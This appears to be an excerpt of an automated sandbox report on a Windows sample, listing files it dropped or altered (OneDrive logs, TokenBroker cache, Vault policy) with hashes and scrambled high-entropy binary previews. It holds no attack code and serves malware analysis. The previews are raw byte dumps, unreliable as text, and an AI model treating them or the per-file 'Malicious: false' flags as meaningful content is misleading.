SHA-512:	2A50F1B913183381C8559157C98AC23A0E5FD09EF3BAEC077EFD4618BED0A2B1EAE3A6D0A3934BC7FC12DEB2813E2EF0BA0918897CC8CFE8C0E915AF8DF359C8
Malicious:	false
Preview:	1.0./Z..I.(....iT._.E.e.t~.J..gi........^..].ZI..v.@...H....95I......y...\|./....nq.s...J..".x.=......{5..............h.....nF=aP....k.......i."..s4.T..S...9..`..On.m..Z.../..+....e..'...L.hT.C.B.{.........3.....%.t...-j5S.)$...{.z.(..R......6..#......n......~2..."(..R.A..'.....6......p...r.p..#n.J #....II9F..Sc...........\b~H.z.....39.....3./..J.d..GB....Z{.....Es.?....brIZ..x.X+....Uy......'.q.Z...<+..8..Xs.C.!R....r...e....QZ..J....$.A.W....dIE....UxU...y...H...<.c.b..=E...h..d..%O..oF....t.G.....=.....T._=.B..l.?...P..7.#E&.x.(O...{...Ec....g.4$.`".....6../.Y..<...i.q.#...8...]SN...).c.Y...6YLD....bv....?_...O...D]....R6[y7.\|A.0..h!.$..K...6.....0.6..+.......).~f...OQ....G.@._y......).L...@.>EAg.F..........E6..N}.q.#..w..ZD@.i-.9.e...HN..X.;!...t.M.0........<.....8.....-s.........;..n..G@.kwQ...o.%\..1..dO.g..:..Tl.4xt.e{....l..$u........+)"1...uSxS(..F..j....t@=e.....D.7^.eo7`......W$......^.=...Lz.iB.?A..qk;.G..._...c....v..IZa,.

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Update_2023-10-05_063346_5228-5232.log

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.0062165890887318
Encrypted:	false
SSDEEP:	96:YCj2cRi4zSNO68QBGwJ+E/M6s4BUBTQwBibHo7FGAHF+T52F8:hSHAEOs58sBUBL0Hohl+d2
MD5:	7EFBE7A193A194B0FE4018016A39CBE1
SHA1:	BD54FF9492AD982320E4A2091FE96A3284D1AF4D
SHA-256:	2534A71D48AA4B46B83B04D2687DD960E72EE138C1A7D871DFFC103DCD33CFDF
SHA-512:	34BE55AF4E169FC52E33239ADADBE53957B4235C177F25D6BE154E4B6A121BFF06598A56428B5C5B152C48FF32405AD4BC18582CC61A1A22A57A37598BEF96D3
Malicious:	false
Preview:	1.0./...-r.E..!.n.....m`......n_\|4.....o.s....:.."+.r.w.f`.`...L..W......:.CS.nz.f.8K...7.....(...- {.m...?.>....1........&....Db..G..W>...,X...vH.$`.N?....._W..(Nr.R..Fs.v.h....N$L....-.:Qc!......[..c.Jz.a...q.}....fc5_..,...f....\|..l.P.V......wP...v-$&j.93(m..u..S.....'....6.;0.E.[p.>..$\....mA...../.tK....5...D!.I.j.c.....8..r.r.}....Xi..r....q........U].\A....K.M.F..{.....(.).....b.E#....b....#S...B....-[..`....I@no........h.q.Te.v...y.q.{49A.$];7.@.K..N*.5...v.m..~I.dd-......4.1.3./......e.Z...W.@...4..Z..3..C.'..<./..g...Yx...s..Q}-..6........e.\..$....)....r5c........;.B.U..a....s.R.`.....^.a.....C`@.hx$...B....+..\..+.1.!..........!....._TT...=.....o.m.{E..ry`B........j...>%.b....%S{.....\|..7.%.PT.>)..k.=1..).0j/.e.~.MeRc..\|......j_......u.lJ...bp._..(.".8&..r...4...6......T..I1T..%..0...v..guG.7.Oy..g.8..1..Z......o.....(X.../.RP.......6....J.t..<.':..fn.`$N:.....c......B..y.c....7.0..../I.d.,NK.8..X.N=j22.l....

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Update_2023-10-05_064304_5592-5596.log

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.0050895556452561
Encrypted:	false
SSDEEP:	96:cLY/21Fw/jelgWRsUWLzVjTduQ9xfogC1DL+RBX/FHB+KvwHcGRRy:ck/21WQyHzVjT4QOl+3L+p8
MD5:	2812903549AB0C2040C5DD13BFF41A25
SHA1:	0F9377EE7A44ED6986709AE412177C00AD84963C
SHA-256:	1A70089FBA1E52F7A549A6199CB9FEF84D3849143CAE374447120B7176DB1A00
SHA-512:	8A039CCC4C1DC1D12BD7565F0BA5A9B6FBB13CF171B35D13C8615580D632B1AA83F44C07F00F22BB94A7A65FDA49982328714E92568FB49FB027E96BFAA8374D
Malicious:	false
Preview:	1.0./.w..........b.s}{..Q.o.....-.....ua...9...0t(...4l.H...?.!J..C.].;EL..S.<~...-JY)t.....B...P..1]u.%$..{b?.....C.T..Z....Z....]...A<..j\|...>...@\.5...an.W.3.s4...b.~...J.}.I.L.9.7g.-...4.9.. ^..D+g..x..Z:.X....T.s....i/..Q....<.Jl.F%.`+E.b.r.`D.......mHT~..)M..=.../Q.l....}.9...GA...........F.G2O....,.$..N).ANw8 .UZ."..e.m..A...!......"l....QU...oT....E.`....,......?...80.......y."8._..0.{L.K...{.R.0.g...........h..p..;.1....X..26.T...no(R.&].x..J.T.5'.....]..A............C.t.d.qF`\|...F/s...3....~....(++...j...LG..VN.Y.......G....E...d.K......n].l....>T._4.L...O.J....n.:..qJ?.-..o.H...!......T\|..CC..+:.?%B...q..F.k.qF.'t....r2.a0.hx.A..kjf"}.m..=...X.4x.`...\.$.x6t......f..>....W...>......Ts.}6.?e.=0..g...g_=~..m\|.....v6r..V^..}+..!..q.l.....(....._w..au.N..kH:z......#...o@j.Wy..v...9......Y....\|F.e.).?..".....I.8..(..V[X..L+.i..2p.tz?.<C.+&4..:.[Q.....%.(.W.T..S..l.a.F^..k5...$X.%.P...`..yMe_:.8.$5L9q.&i.b.KK.c%#W...hH%(..

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\machineTelemetryCache.otc.session

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	3.4271279288188228
Encrypted:	false
SSDEEP:	384:ysc9LS2BfrO+9lWcXZoCLJVSHK2We4h+cquyKv3091ngKPdwTWzEdh:K9LTlOGT+GmK2We4h+cqlkYjGTX
MD5:	3AFF76E8B34E5C1C4452495A8B1E4C22
SHA1:	F997D5736054D646E3C46C832A7237D928FF675A
SHA-256:	F12C5AF1192CD7487CF8FD8565B46A4F813654CBE8716A9A4BC4830C0E62C8F2
SHA-512:	77AD6568BBE7153F195FE5A47115DF51BF05BEE61421C167DA206EC145EDC8143B6B4AE7197EC359808D308E47F952BB7C85453C2570A629840BFD9978F2E253
Malicious:	false
Preview:	SQLitA.QQ+...#uL......<.4....,.o...+Mu..Gs.AN;.g.m...(O.%..s.....O...>5..Gb..Y.K}..!2).......Y.?....A..A.e\.I..........L!A9C F].9...+.1m.......dH.....V^.. ...j0.....d.n.q.S........L.=.1;\.!......g.m..P....x....._...[.d....]]k....+..{....-#...&@...%...Nv9.8....y....R.V.'X._.~..m..wo....7.E....O~~.....V.1..9Y.4..}.+p\#..O.^ ...[.......;\`.....<.b-.1..Sv...QRb....9n3.....8.\.i.{(......c..M..N]. I..\.....R.T...2.1.......t,.N...4~.n.4.5.rF.E.."`;W.T..G...h.L.f......Z..E.m.}...p..W....;l....^......Z.t(......?.\{...\..=.X..[.6....uvA(.b.SP..`_. \...'.M.>...ie .~...:........\|...@;R8E.0z...1...x.......W.-:.f.Yk.l...W.a8.ph..\|.8..a..&....=.@Dr.....>.%@IS.C.?R.W.Uh.}d!.G..0...e6.I...#.4......x... ...{......J.....T.'/.._..]...~..b[.i&6k{Jpo*w....,.i.cUm..X..L...Vz.^.t`.....T....)"...X.~....`.`.~e2X.z.f.-+.9.yD.?N........@......Id...>1..i.<....O..c.lH.OX..FV.iu.?;U.}.}.,M.45.(...,......$.N..FM.Dv..U...\|.Gr...$.]..`-.Ap.zo5..;.o^..d..2.._3 .....-..

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\parentTelemetryCache.otc.session

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	3.4271983193396167
Encrypted:	false
SSDEEP:	384:rvDZXwsf4MoTB86n/zkACPz3XcJefoA3OQSO3o6VHtu6cuA21b:rvDZXlenLk3nGefvSO3DVHUhuAE
MD5:	9A96BDF4D2214C356FC8A6ABB2596726
SHA1:	F5C6826AB18C2AFE5FE9591BDF95A8D7C26CD619
SHA-256:	C28F26DC2BCBC5C80D7690DABC4424A947B6AC21829C70266666A2700571E782
SHA-512:	9B2F4461AC562DAC37D7D1D91EFAD0413CA1D935922F003EAA1B2065AEEA063FA3472834FDAEB41248C099F0226B7EC5DC19BC331812E83CD819A2DDF57803E8
Malicious:	false
Preview:	SQLit.l["m....o.[..(..e...A.?%.%.w/..e.g..K.pj. ,I..=..F-O...4....9)36.V.......v"......,.......~{3Dv`...fwiP$[O.b....H...bXy..]..FV..^w...I.4.. ..r.~.5.........%.V....pZJTUr2...'%9.;....3..a..v.)TO.B. >...j.._.'..........D................X@....B..H ....5..!.B-.C....[.......o.p......3.H..A..e.7w2L$qrA...4.B..N......Gp....@.5C...._.3LU.....J....S.../}...a.._.?.0.Ns7H.n..\.H:.w#.~...^....z...<`...}#..."...X...0D1_..j...it....\|...[........LmL.%.L$}.k..I....x....'....^.0r.n..k..$.[....P_.\|>..=.U.%b.....T...n\s.&.dU.......G.]...^.......n..p.Q...~9..nz\...".R{.d...'.j..)DI'.....>.`}..0...m_.[......k.0....._e...d.s..7Yu.?q0....!..)..i..D....B..(L.N..Y+.Q~.9..fb.......~...k9..X@..gM2....%.0...D..."-<.9...^.....7'~.Q./.n(y......y.....@D$s..'\.9G...].....5C.._.C.....e....b.?.,..%TTP....5....q.}l..Y.........A...H..V.g..V...E.]...&..$..\...mi.'......JY:gO.m..-....0.F..w.....h^C.?..'.~.N.3..^.{<..3c..I.yh....k.x..@8F..-.%y....W.. .[../..

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\userTelemetryCache.otc.session

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	3.4248600243483147
Encrypted:	false
SSDEEP:	384:JMO6CvTcDTwq8YNvvQGmploDfEUDYH0l4yUr/fPa6/5l1:JgnwRYNP4KLEUDY/yA62
MD5:	DBF99C4F300FB619E376BB1F296CC4DA
SHA1:	9E0957CD885249854F8AED3A8CEECB43D1D2F239
SHA-256:	D6D101808C1549D42830C40245E15AE14F5A397601FC2AA6106D14A2881E794A
SHA-512:	78E760BACD5A97A5BB21EC04EFA4C27CD926FFDD71AB7F5F304CF459AE45E76016381DDE59629BAE76EE5064F0BA7373BB837972007A0454C2215BBE452C7372
Malicious:	false
Preview:	SQLitnVg.85......y....3e.I...g7.....2v..F\|.D-.DQ....W..x.D..0.U.D..75>BQ....\..<p..'.%avXm.V....4.....I.F..w.C...O...k.!..y.=.$...k.4...!-..(..z....;7.#e..$t.N.9W.AfOb.H.....\|..c..cj.2...h.c.h@......m.VE.H%..,.k..Y..^....&#..DYj..=N.<....I.n.......I_.~.A.4F...xe..i=..{..#..s0S...:o.9q.h...^.........B.\.o.M2..D.C.<.w3_>...H...^..$...^....Acu..q.D?j.t~Z...`.r...............g.w7F=.(.4f...i]..e.....).5`...%.w}.S~4.....r..Y!.......Bh@z!\B........`..8.A.....H...h.].......H........)@....t.9ks.8..../..F..l.In\.d.Xl..;.....)....P......K.C..`M.]./U..p^^l5....r.........Y....O...8.H.u.Q(c......MBq..{.5.u<.v..(.'...@D.w[`._o...N.VF..C.....D.....V.c...)....\|Q....t.An...S`...........)d...v.n....-...2......EX.....e....aX.].}g`1.n.;.....PZ....~...h.......l.e.g.(..C...0L..W.......u.-_\.r...7.j..?.i%......;Y.....:......X..HE.........i.{..).`w.h.?....Z..R...#.....RP_.,......v:2oS.e....x._.D..#wP..=.z..<S..U.`....X....\.1..N*bp..G._;.D.S<V.q.6..(,u.M...

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\089d66ba04a8cec4bdc5267f42f39cf84278bb67.tbres

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	2612
Entropy (8bit):	7.941004624356941
Encrypted:	false
SSDEEP:	48:JQkqzn7+sM8IgQxFRgtuobMZBpguEVLDlX/DXaBuWorkIOyMT1/X0iD:JQk+y5hxAFMnplEVZaBuEwcz
MD5:	97B77EA77CDFA59FD0CCED11DA68DBAA
SHA1:	CE1EDB6AF27BC73898280E8CB97214393A1CDAF7
SHA-256:	7EF93F09CBA63A82029AFCD31C029888830F4DA5114630C21DBDBFCCCC7282B6
SHA-512:	1F68EEF6FAB1689ACE759F71DF375B08D7BA75AC0DD947928C164A990AC1F2CCA91DDA0AD3D8121AF61EEC90E6931D9A326BE79A6431DFF0149E07B9384A87F6
Malicious:	false
Preview:	{.".T.Y8.$......,r...,O.......A.d..r>}.}..@^..$......k.....q.....G.A.k........!T..k..~>.D...3.,0..D.Nw..&.......O^^.j(..../... ..2....$.\|.........p.S._....=4....`s.....8..@.Bf...d.r{,o7.t.....\|Trvh.+,...Yl...).....c.L..;.{....wk.5.^"6.W...y..bT..=`....Ug..5.x'y.....Q,... .._.n]V3.T}.::7..(..c.z..1mxG]....d...0;./...P..&....q...+.f.x...@.....#...H.s.i..F..Z0.U^.g..w.l.md.I....H..}....u,N.I.h%'.~...8H...54.....9G.1....JN.%.De_..?.X.X......"1...9.0......~H#I.V..qj......V(1....(..9.....tN....%5........8../I.`...z..2l..O.k...^...)r.#..E.....1.`<xG..t...+Y..onB.Kj@lR3.@..{.kX.. .L..5LB2.....4..s0....IW.\|.x...Xd..?.......w.2.U....Y..w......r..... ..$d...G=...q.z.<..F...#.8...R......J.3ruT.....2.......:Y8..?.vmh^o.BsCv....u$-.....#.h...M)i6..&Rb..j.....S...N.b=.f'h..[..~.i.B.gG).u.....^..y.snb.W..n.Mp........[.M.....{.jYst..[FTmK..J.0h.Xd....f.2...^a....L.o.2"}..".....`.(^.E........ .M.,0.Lz..>./M..Z...L..`...k(..H.?U..Evx...w..k.w.....z..W..L....

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\1521f696d8626c8e8127c0284ab987ff1974f39a.tbres

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	2612
Entropy (8bit):	7.9174390949142825
Encrypted:	false
SSDEEP:	48:/9Rz5UlvNt8Lri/I9/FNyyjiCk7sI/1n4VUdMU0Al/6t05VKlHbVNGEPLm6lvVvG:1R/6wcyeCRWnoUd1l0IVKl7VH66lYl3T
MD5:	F270CE1C4E180B1A835BA05D370F83D4
SHA1:	7B34333BB15FB6658F0A480F6F6D3013C752F191
SHA-256:	02CE463BF96175B62FF6B5A3D2CF19C1796BC0D48929E03E991928EAAF7104DD
SHA-512:	76821ECD676D10B8197ED2FF797567F183F79202683A3B4176027E456D0C31853E83B9D3B564ADBDEB269EE1746CE1E832583FD2CE400EA9EDE892C30F0BFCF8
Malicious:	false
Preview:	{.".TUB['..m..............=..=1}md....+m...7..9..j-...[.z........S.........mEN/....#.J.......w.t..".T]Nxp0.e. $./x\|[.......4L.]9.Pzv.5dE.N........r-..:.........~"b...r...+........M..[..x.i&Cg..`[.7..PP\..p../N..a(...,...w.,..g..83..>.!..;....mOb6k..........s.e.^\.4{k.-.4....M..0y......2]...j9..U0........\?.K.7....+k .a.6.X.l.9..d.....c3....$.8!.o\c.^..#]..]O..q.t....v....B..FKN...q.i....w7.?..7.S..L...;.`...:.....U...L.xA.J47.o@.w?g......KP.....T..u..&....o.`.0.a.....).d.7..l."5X0.o.\|7j...:]......z..Pg....l...2Fw....Bwf...1.....l..t.....}.T...j..... ....T..{.$...}.....^[.....\..[...Dj.c..........Z7wTa.<!..r.[=. ..r...'c.6.(d.GW..Y...9........C.......l-N@..a..s.d....).)>./Z."a..tf..1.%..'.24.E...7."ws.I....}Z.i.C..wpi.\\|.. %.z..sI.....{.(.bEB.P.PH.1i.zmM...?Y*.H..!...7............1i.....i0.."n.E..W...\...Tj'0&..........x.....4#...T=W/W.....dt.=...,.Wuyd77.z.k7.M..qW.&....O-4....J...8}U+.w._.'....@.t..xa1.H}......xEB..}`[D2.3...R.....

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5475cb191e478c39370a215b2da98a37e9dc813d.tbres

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	3018
Entropy (8bit):	7.938981403248341
Encrypted:	false
SSDEEP:	48:yh6fTjA+d4NfQu/2ByhiezmTL4SwKxzfyeq+zIJ1qwLMD666di9RvJbbxRiD:yOvA+KNfQuieyTL7wKgeLIBiZhQ
MD5:	66607CE2601F2377688A1DAD7C61B678
SHA1:	7971BF0B5E4A4DB8D06F16C66D4ED360B92F6DD1
SHA-256:	CA3E80946911A7243A8E0808430B56DEC1CA5EC64D8B9BEE5E895F8E6511C511
SHA-512:	9C8535594B0047E622BF1FDA30E646C92594295207409025FFC366161D9DD9C73FFB0C9CC537ABF724420A3C8845A3B9E8DF672B982609E6A1E72055336CE8C3
Malicious:	false
Preview:	{.".T-\|..h."q..H@\|U...#......~4....be.} .gI..e.9.J.h..]j.c...!S_.L..aL..v0u_.....P..%E.>.]{..T..........}.!\|..,.w.5%+ .Z..&.....n..x...g.V.w. ....ti.Zwc.....@...Z.3..k..v.[..Y...(<._3SqZ.1.:d.RF4...2.m.Q.2.%..YI...{.[\R....`.G+....Oo.0.Y.l....$K.1.>.7.;.\...H../E....j\|.~.Jj.7.P.,..N{....l.ws.d(.hE.O..^2=YU.hL.c...c..R%9.m-.f..U..X.....z.f.-Fd..m.k.4(-.h......x.X..C..u.h..V.9.<...."..]`w]y...E+...........c......04.w0.....\|...`.0r..^@..?;.a.X.1..!../6.b.8.!]cr..o.PNX..u..8..o.ggr..!d1X...h..mY...#9lA..d.;c ..Uk....v.Y..2.m%B.q..l.......K..h.#&s..?\|.......l.NJG...N._B?..w...e.C...h.."......-n...%.<Q+m.Q...U..#...b.Z.,s...V9.'J..u..<V.5=(.lY?...^IxRG\|..YOR....H.r........J0.>...9C..#..Rm.~...].(qwx.{....<.=.I:....Y......".N.8.gE..h....ai..7!w.4/H0...;...i.<.DP.....N.K.......Zo$..}...Mr\|.8...k..}.M..EW.w..f"F..0l... ..kr.....@...b.Q.c....,....HK..4n...#.'\0.v.{.%:..o....0pK....>.?.g(${..6...\|.=..C.t5..{M...#...q8.9...Sp..G.6.^IY.U..o..

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	2612
Entropy (8bit):	7.908845928744514
Encrypted:	false
SSDEEP:	48:bGySFFH0un3yrSrbo5nxAsVdLl4hnmDPpDmFQsbZ19zpnn5OrbjiD:bDS3H0u3y2GxAi4UDdslzpn8W
MD5:	6261CA8781F4C462DAF4BB58E45CF293
SHA1:	859F4FBBB0EB3DF5268786F214DCE21DFFF900D8
SHA-256:	BEAB580EFD9A0A8A8D1447D1D3137BE330E95DF23A826E3A3F904D6DBB63496C
SHA-512:	9DF8CA40D055986DAC75A4EB470342559B12BD9E5D167657BE77A3F0BC4862494CB10D9C310EB6D5BBB40B121415EB1F359A3B2879CBF36A7C09CF67CAD2BC61
Malicious:	false
Preview:	{.".T....%e.f....u.I..x.,iy]M....=.0..Y.k\0.x..[.......+. 6.. ..\|..{g..L>.....F..".........4.p...=.Z....yj...vG2k.4i..I_qd...{#vN.2.....f...(x@..B...U.>!&.8.....m~..9..b&%..m..J.......I]wp....Y.`i=<o...L@D.R.....B..FYO..K.'..~....B.....[..K)hK..Wx....T...R.d.xs.fmx.4......;.....i.,.V.U.Z[q\|..H.{Al.....\|.....2:.....i..X..Ob$Q..Q...]f....+..H........6.;T..A.n..l5B.....q.....g..,..6.@`feY.q2....{&.R........U..h..f.....bF...h,..M..M4..W..}.....8$.....a-4.X.Qr.N!......!.'eo.m.....Wi..n..Knc6x.=i.....fgl.m...8N.6.'$.+.G~..F..Q.3..!..r...1...{..)...Q..).V.....B.... x..i....;\|...vi!6.3%..W..m.G.Y......(AZ...w.......].f>K........(V!..^....L...`'.,~.5..3.?.I.M..Uj...j....XN.MZW..S............;....#.6....I`.f&..C.......s.n.`>..h..NI..A..4M....pG.;....5......u=...,T.k...x....w..u.q....&a{{z..Xg...o.B.lp..}g...zX.E;i..Q..t..=Yi.k.J0..y....TZ..?.....G...{Q..d-./.O..l.......p...Z.Dch.g....,L...e ...;.N=+....J..l...6...K.p.T.f....=...:.....j..

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\cf7513a936f7effbb38627e56f8d1fce10eb12cc.tbres

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	4956
Entropy (8bit):	7.962289940973186
Encrypted:	false
SSDEEP:	96:+G9GUBDcIZhqZ8Qq/ahynhZNvoIvMnYAdi2FwDG8FPT5LRDd:NBhQJCNvoIEYAQsbU79Bd
MD5:	A8F2D73D1FF8F9A893FE59E285A46877
SHA1:	A68E224D10BBDDFD3F166A9F33DDA15EC0544A56
SHA-256:	7B4F6202C0B54A3BB3AE438FF0D1660F81060C561A0FFB8BD2FBAD3188778DB3
SHA-512:	2F83D89D41F9CF144325CA4F91BC4C23D66967EE4401F5A9BBE1E35CAE8D202871D90D6C0EAE1F77BA6891399FC10FF320586899BA42C60BD50ABD89B3EC44E6
Malicious:	false
Preview:	{.".Tp...]..\..I........F.E...[3....`w..L..8YqiX..P..m..".&n2...~.......<#...^........iW...:..K...4D.7....{Q...G..X.#.?....0...Hv.o.`.;..u.v!..9(.@%V....1.F.m8....k...B.Xe_..Yb.W.Q.qR.....IC.T.<~...{..jI..x.Iz;..hO,...P.go..Z. 8Sj1.G.T."4..#....l.....H$}.....q.#Ydz.X...$...).....h61.....4....\|E..b~,8.......b.."..G..jh...V....#V.{.O.q..r.8.7A.;V....H.KM.7q.8...Q..i..>....=.z.:...D..~...x.....r2...)I.....n..kl..:.j.\|\|....f2fL...u].&.`mB_..w....E.Y...ZP..i4#...M$..)...}c.%^T.t.q.."r.......r..vW.....$.$~SQ....11,V..r._...s.^.D....`a....e8.\..e.:....O..\|.&U......^.cK.,?.m...M..r.K.D..i.YZ.P.....wYg"+.jI.G...{.X./........O.m...\..]Z...wc.;W....\|V...yR,....K..... ..l.....K.B..`.F........R.p........F........7..a.........o.0.+._..D"'.....y...7..]:.....Ej..e..j..b..L.....3.......sg..f/.....ri....D.k'./OO..a0.......{....4"'.;...\|....D[..#..J._v..;.....4)w...f.P.K...?......z.....>.........f3.H..C...u.K...eQI.k.xV.y..ykK....3....#F...3..

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\e8ddd4cbd9c0504aace6ef7a13fa20d04fd52408.tbres

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	3018
Entropy (8bit):	7.938705905554091
Encrypted:	false
SSDEEP:	48:shQisFst4qX8oaM4PjfT/zoMIvHXy2ViPVQPkr0nvIKIRFVblWwrkuT2Eaj1tL1V:IQ/Fmv4rfTkMECPnLKIRLowdqEahtJcI
MD5:	1CB45064CE804390284C8F43BB91E2C5
SHA1:	50626157DC238E525FB0F92E2FAED8639C515EDF
SHA-256:	A26DAF98D184964823ED6DEAF1038F86F3DAE7875310FA9938A267F55B068EF2
SHA-512:	8E118996580F9A3C4A1967FE4216EF090E395BF630B0F2C3C2C8F9AE820F03F0B703826BB217570C319210B597F6931BE370B86EC210EF08B4E94B3885FE6D7F
Malicious:	false
Preview:	{.".T.....}$j.....O..?...T.............r..ld....x..7.P....J...5.UgF..[L...0J}..oI...U....G..P...X..l.V.R....A...vb...E.w.CN........i.6.fByg.LN........Ko.S].]"_j.L{....=..\..NG.........[..<...apI(.....i.i`...W5.xiT;..F.......J.] H...vN...P.Xs..3....mP.^.Q.w..W.'...&IV....[.%(.X_.\.S....0J..Ax...U.>.\c..Y.`...Y$.R...`......K.....i.oC.p.7T.0....\|:....HW]..K....4.+..9.B..P.;%.&..M......9Y.f.!<e..0".q.....>4.TP..L..uI..;.l-......\.yL.....+ S.[H..G....k...9).......`.@.Op..Sr...Uo...qe.....}I.. .+/v.r..8..3#K....[......Gb..S.I.x...q..R`...k.~.._...n#..s..s.X.......t....qNJ.+9E~,.x&.J.Y...(.....:..:.=(9i7..J}........_....9..5o.B....[..4.\|(..J(.U...-....Dn.gPDY;...A.Sv.t.=..:X..t. .,..W.....a..!.@..ZS...O.l./..Y..bu...b.....U...Q.....y.\zI....x....[..d.Kuvdd$...N.C.O.s..Sb.>...zC....Ox94...,.Pp.../.g.K......@."..`..m&.(..F.].T...E..?.Jx\.q......Oy.+..e.L.u.y..6../....&...Ta.r.y...>.%9....i......i..}..$..!...?.g\..Z....T..=kwL..w3..

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\f036564d8b727dbe99499799c7e51936a642f62a.tbres

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	2612
Entropy (8bit):	7.929055509474359
Encrypted:	false
SSDEEP:	48:jLd2oDZGVjPYjQ0iV5MOPiLe7+8GrFMWmqY93fqr2C8/sk2vCuCX8xQiD:jLda1JVSOKw+8k6DPZCAsV9COv
MD5:	4FB449331F750A3BBB2B5F5001BF9C4B
SHA1:	36895CCCC3988A331F85A2722F6CD1312FD3D7E5
SHA-256:	38FA1F7CD9BAFE735262CC9E62E6A6EBBDF939469A6E05EEB378368F38B13F19
SHA-512:	24087B61E2C32F97E63AD652E01DC7F7CAEF614669CAC91CC3AD97A85BBEB15C79B19EF7BA19B4FD7208724D0E52E007593F6E4AE133F4418B2F7DEA514B59E1
Malicious:	false
Preview:	{.".T..<...7(.[m...8I....`..V.PuA..T..WyZ...3.....k.d.O...<....Z..'.....Z.....X..Y%.%.luF.{H.^...M.z5.=."FG.a..!'......f....L.u..6..Pf"...7..`.....:..l..d.gB.S...W9...i..J25V..L._~.m}.p.&N.g`..........#;.._.h.SP#.........^g....../.k.!Ln....Z.g..........\...9I#..0...Y..8$.........Vp..j\........n..G...5..Y.}S..=Sz....\O.b.&..Pt..".-.z.....=...K.........6...w..@_.x..........N...WOv?)0...s..,..;syw}.t..>...{.6.q.'.H.oA.O<...R.0d.k.. b=+..\|4..<.t.QM.o!.JN6.X...Q.H.).\.Sx...}.2+..3.Ir...~.QpG........M...^.B.5]m...ZI....._..'.>rpK<U.....m.GG. .......?..Q...............~.....x.4c......5..I..E$3......#jQS..`..V..#..-jM...&...v.......%..-...c(@...Gm......}+.3MJX....T.F...%..~B.$.>..>.h..a...K.:3.xk.!......+..f..N.o);..\-..".,.(uj'.[..[....fd.........t...LD$.....D.K\|...o.t...a.6..U..n...kC.....>.SUR.]C.!...!...l......"/-.:..X......=.o....8...+ a.. .7C....f...+.....lu...3...x....b.Tg....Ao..#...mB6+.5aOd..f.}W.Dt.<.....h\|....U...

C:\Users\user\AppData\Local\Microsoft\Vault\4BF4C442-9B8A-41A0-B380-DD4A704DDB28\Policy.vpol

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	770
Entropy (8bit):	7.707422233807652
Encrypted:	false
SSDEEP:	24:MQta9kWzrM+NZedQAXuov9sU3ZgobXi3UsNQm/iTkbD:MQyTXWSo+ogo4/WmaiD
MD5:	0A1684B3138FBD6F2F76B9C43520A577
SHA1:	D9955D6D01BAA845FD56E5F0FE9FFD2107D7346F
SHA-256:	9D5D82971E8CA0B4388EB812347C5B97DF8C17228269596749722B66EA73146B
SHA-512:	C43B5BD9D66E11A4A1BAF0C8B60C342283157A5A21B92A673F9D78B7489F8F9B5937C666850F737B18951BEA3C5FB0EB39F93FAD89C62A2977B61C5F3F1D0723
Malicious:	false
Preview:	....B.9....n..R..7...=..r..ik...?E......W.7........9...Z.a.,..W..z6o6}FX..N..^.t../.........l....H..a..D......].S]..t=..s.%P..B.......R.-i.x.......F.\.z..oh...5.V{...!....O.....c..O...u.4v......r7.....).?7r.!.r..4.`.T.$.......E.Z.p.......4.T.C...IW...h.{*a.T....o..l...w. .r....E...:R..q.)...&?,F.=.o..9#+.._.j&...T4._......m.........AA...Q...5.mB;t.V[...a.n.C..O.4k'IH...p.......:..YjEfXw.&1@..a.m.8...S.0...[....vM%.O.F.~.^...e.V./...g....Sv.v>J../....=...Cu....fv.~0..%3.Y.dm.wolP..u.L[././YdD.p..j..........b.Qv.....B...(.V....A.RnK.;G..t....d....M.fl..nr'..??.....X..[.3....3!m.A?.t..h......o....(:cE7.K..I.+..E.Oa.$w.z\|f..v@..ic.J\.._.<s..{9-;...J..i\....oD2.r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\2057\StructuredQuerySchema.bin

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	424152
Entropy (8bit):	6.331868490831566
Encrypted:	false
SSDEEP:	6144:D7WT6cbIg4KOgaYtjXJFqTa5j6qtXm+vyJfbnQkK96B88yKv4bWTmTvEiLSk:D7n9Vg/ZFqTa5WEXm+6dF4/H
MD5:	D77C34237B7CF744196DC44987793BC9
SHA1:	C9AD3FCDE4759DEEFD34B76E868F1439CA84B1D4
